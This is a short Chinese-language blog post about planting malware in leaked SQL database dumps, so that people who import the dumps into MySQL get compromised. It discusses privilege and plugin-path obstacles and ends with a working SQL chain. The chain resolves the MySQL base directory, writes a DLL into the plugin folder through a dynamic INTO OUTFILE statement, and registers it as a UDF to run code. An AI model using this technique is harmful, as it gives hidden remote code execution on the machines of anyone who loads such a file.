钓鱼攻击与蜜罐思路

前言

之前聊天的时候有朋友说，能不能在裤子里插🐎，几百 MB 发给别人，一般警惕性差的就直接运行了，哪怕警惕性好一点的，几百 M 或者几百 G 的裤子想要检查也检查不了。这个想法我一直记得，于是乎今天就来研究研究。

为什么选用.sql 呢？主要是目标受众好，并且对这个玩意警惕性不高，大家洗数据的时候就直接丢进 mysql 里运行了，一般也不会想太多，并且和压缩包钓鱼不同，只要你把文件放出去，就会有一堆人如同苍蝇一般直接受到吸引，蜂拥而来。

具体想法基本就是 UDF，直接写出 DLL 然后运行。能 RCE 的基本就是这样了。

然而实际上利用条件有点苛刻，并不能百分百上线，有以下几个问题

• mysql用户权限问题

• mysql插件路径问题

• 写出时候的动态路径问题

• mysql插件路径权限问题

安装一般都带这个，但是好在，win­dows 下这个问题并不太多，同时那些钓鱼目标群体洗数据一般也用的是 win­dows 洗，所以问题不太大。

对于用户权限问题，我们只需要在制作我们的钓鱼 sql 的时候，多设计到几个库的操作，大部分人就会知难而退，图省事，直接用 root 权限跑了。至于如何获取 mysql 插件也很简单，直接用 select @@basedir as basePath from dual 拼接一下就行。

最复杂的其实是动态路径问题，我之前一直以为 out­file 不能用变量，结果今天查了一下，有 prepare 和 execute 这种好东西。可以动态指行 sql 语句，那么这些要素不都齐全了？直接进行一个代码的缝合

SET @BasePath = (select @@basedir as basePath from dual) ; SET @fullOutputPath = CONCAT(@BasePath,'lib\plugin\','udf.dll');SET @Ok_Path = REPLACE(@fullOutputPath,'\','\\');set @q1 = concat("SELECT 'this_is_evil_dll' INTO OUTFILE/* or dumpfile*/ '",@Ok_Path,"';");select @Ok_Path;prepare s1 from @q1;execute s1;deallocate prepare s1;create function eval_function returns string soname 'udf.dll';select eval_function ();